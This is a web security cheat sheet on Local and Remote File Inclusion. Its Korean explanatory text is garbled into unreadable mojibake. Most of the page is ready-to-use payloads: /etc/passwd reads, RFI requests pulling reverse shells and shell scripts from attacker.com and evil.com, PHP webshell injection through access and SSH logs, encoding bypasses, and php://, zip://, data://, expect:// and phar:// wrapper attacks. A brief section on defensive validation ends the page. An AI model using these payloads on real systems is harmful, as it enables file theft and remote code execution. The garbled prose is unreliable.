File Inclusion (LFI/RFI)

File Inclusion (LFI/RFI)

πŸ” Introduction

File Inclusion은 λ™μ μœΌλ‘œ File을 μ½κ±°λ‚˜ Include(μ†ŒμŠ€μ½”λ“œ λ‚΄ Built) ν•˜λŠ” κΈ°λŠ₯이 μžˆλŠ” 경우 이λ₯Ό μ•…μš©ν•˜μ—¬ μ‹œμŠ€ν…œ νŒŒμΌμ„ 읽어 νƒˆμ·¨ν•˜κ±°λ‚˜ κ³΅κ²©μžκ°€ λ§Œλ“€μ–΄λ‘” μ†ŒμŠ€μ½”λ“œλ₯Ό Include ν•˜λ„λ‘ μœ λ„ν•˜λŠ” κ³΅κ²©μž…λ‹ˆλ‹€. 보톡 LFI(Local File Inclusion)와 RFI(Remote File Inclusion)둜 많이 μ•Œλ €μ Έ μžˆμŠ΅λ‹ˆλ‹€.

LFI

LFIλŠ” Local에 μžˆλŠ” νŒŒμΌμ„ μ½λŠ” κ³΅κ²©μž…λ‹ˆλ‹€. 이λ₯Ό 톡해 κ³΅κ²©μžκ°€ μ‹œμŠ€ν…œ νŒŒμΌμ„ νƒˆμ·¨ν•˜κ±°λ‚˜ 미리 μ—…λ‘œλ“œλœ μ‰˜ μ½”λ“œλ₯Ό Include μ‹œμΌœ μ˜λ„ν•œ μ½”λ“œλ₯Ό μ‹€ν–‰ν•˜κ²Œ ν•  수 μžˆμŠ΅λ‹ˆλ‹€.

GET /filedownload?path=file:///etc/passwd
HTTP/1.1 200 OK
...
nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false
root:*:0:0:System Administrator:/var/root:/bin/sh
daemon:*:1:1:System Services:/var/root:/usr/bin/false
....

RFI

RFIλŠ” Remote에 μžˆλŠ” νŒŒμΌμ„ μ½λŠ” κ³΅κ²©μž…λ‹ˆλ‹€. κ³΅κ²©μžκ°€ μžμ‹ μ˜ μ„œλ²„μ— μ‰˜ μ½”λ“œλ₯Ό 미리 μ€€λΉ„μ‹œμΌœ 두고 μ·¨μ•½ μ„œλ²„κ°€ ν•΄λ‹Ή νŒŒμΌμ„ μ†ŒμŠ€μ½”λ“œλ‘œ Include μ‹œμΌœ μ˜λ„ν•œ μ½”λ“œλ₯Ό μ‹€ν–‰ν•˜κ²Œ ν•  수 μžˆμŠ΅λ‹ˆλ‹€.

Normal

GET /include_once?lib=/config/settings.php

Attack

GET /include_once?lib=https://attacker.com/reverse_shell.php

πŸ—‘ Offensive techniques

Detect

File을 읽을 수 μžˆλŠ” API λͺ¨λ‘ ν…ŒμŠ€νŒ…μ˜ λŒ€μƒμ΄ λ©λ‹ˆλ‹€. Path Traversal κ³Ό μ•„λž˜ νŒ¨ν„΄λ“€μ„ μ΄μš©ν•˜μ—¬ 파일 읽기λ₯Ό μ‹œλ„ν•΄ λ³Ό 수 μžˆμŠ΅λ‹ˆλ‹€.

(LFI) /index.php?page=../../../etc/passwd
(RFI) /index.php?page=http://evil.com/shell.txt

Exploitation

Basic File leak (LFI)

GET /filedownload?path=file:///etc/passwd

Basic RCE (RFI)

GET /include_once?lib=https://attacker.com/reverse_shell.php

RCE via Log file

Attack

$ curl http://example.org/ -A "<?php system(\$_GET['cmd']);?>"

Log files

/index.php?page=/var/log/apache/access.log
/index.php?page=/var/log/apache/error.log
/index.php?page=/var/log/apache2/access.log
/index.php?page=/var/log/apache2/error.log
/index.php?page=/var/log/nginx/access.log
/index.php?page=/var/log/nginx/error.log
/index.php?page=/var/log/vsftpd.log
/index.php?page=/var/log/sshd.log
/index.php?page=/var/log/mail
/index.php?page=/var/log/httpd/error_log
/index.php?page=/usr/local/apache/log/error_log
/index.php?page=/usr/local/apache2/log/error_log

RCE via SSH

ssh <?php system($_GET["cmd"]);?>@10.10.10.10
GET /index.php?page=/var/log/auth.log&cmd=id

Bypass protection

LFI

Double encoding
GET /index.php?page=%252e%252e%252fetc%252fpasswd
GET /index.php?page=%252e%252e%252fetc%252fpasswd%00
UTF-8 encoding
GET /index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
GET /index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd%00
Path/Dot Truncation
GET /index.php?page=../../../etc/passwd............[ADD MORE]
GET /index.php?page=../../../etc/passwd\.\.\.\.\.\.[ADD MORE]
GET /index.php?page=../../../etc/passwd/./././././.[ADD MORE] 
GET /index.php?page=../../../[ADD MORE]../../../../etc/passwd

RFI

Null byte
GET /index.php?page=http://evil.com/shell.txt%00
Double encoding
GET /index.php?page=http:%252f%252fevil.com%252fshell.txt
Protocol Relative URL
GET /index.php?page=//evil.com/shell.txt
GET /index.php?page=\\evil.com/shell.txt

PHP URI

GET /index.php?page=php://filter/read=string.rot13/resource=index.php
GET /index.php?page=php://filter/convert.iconv.utf-8.utf-16/resource=index.php
GET /index.php?page=php://filter/convert.base64-encode/resource=index.php
GET /index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php
GET /index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd

ZIP URI

echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;  
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
GET /index.php?page=zip://shell.jpg%23payload.php

Expect URI

GET /index.php?page=expect://id
GET /index.php?page=expect://ls

Data URI

http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=

# Payload => "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Phar URI (PHP)

// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); ? >');

// add object of any class as meta data
class AnyClass {}
$object = new AnyClass;
$object->data = 'rips';
$phar->setMetadata($object);
$phar->stopBuffering();
GET /index.php?page=phar://attack.phar

Input URI

POST /index.php?page=php://input%00

<?php echo shell_exec('id'); ?>

πŸ›‘ Defensive techniques

Input Validation

μ‚¬μš©μžλ‘œ λΆ€ν„° 값을 μž…λ ₯λ°›μ•„ νŒŒμΌμ„ μ²˜λ¦¬ν•˜λŠ” 경우 μ˜λ„λœ 파일 λ²”μœ„λ₯Ό λ²—μ–΄λ‚˜μ§€ μ•Šλ„λ‘ 특수문자 등에 λŒ€ν•΄ κ²€μ¦ν•΄μ•Όν•©λ‹ˆλ‹€. λ˜ν•œ μ—¬λŸ¬ URIλ₯Ό 톡해 접근을 μ‹œλ„ν•  수 있기 떄문에 ν—ˆμš©λœ URI만 μ‚¬μš©ν•  수 μžˆλ„λ‘ μ œν•œν•΄μ•Όν•©λ‹ˆλ‹€.

Sandbox

LFI의 경우 μ½λŠ” ν”„λ‘œμ„ΈμŠ€μ™€ 경둜의 κΆŒν•œμ„ μ΄μš©ν•΄μ„œλ„ 검증할 수 μžˆμŠ΅λ‹ˆλ‹€. 파일 읽기가 κ°€λŠ₯ν•œ κΆŒν•œκ³Ό 디렉토리λ₯Ό λ‚˜λˆ„μ–΄ μƒμœ„ 디렉토리λ₯Ό 읽지 λͺ»ν•˜λ„둝 μ œν•œν•  수 μžˆμŠ΅λ‹ˆλ‹€.

πŸ•Ή Tools

πŸ“Œ References

  • https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.1-Testing_for_Local_File_Inclusion
  • https://www.hahwul.com/2018/03/25/protocol-relative-url-htmljavascriptcss/
  • https://wiki.owasp.org/index.php/Testing_for_Local_File_Inclusion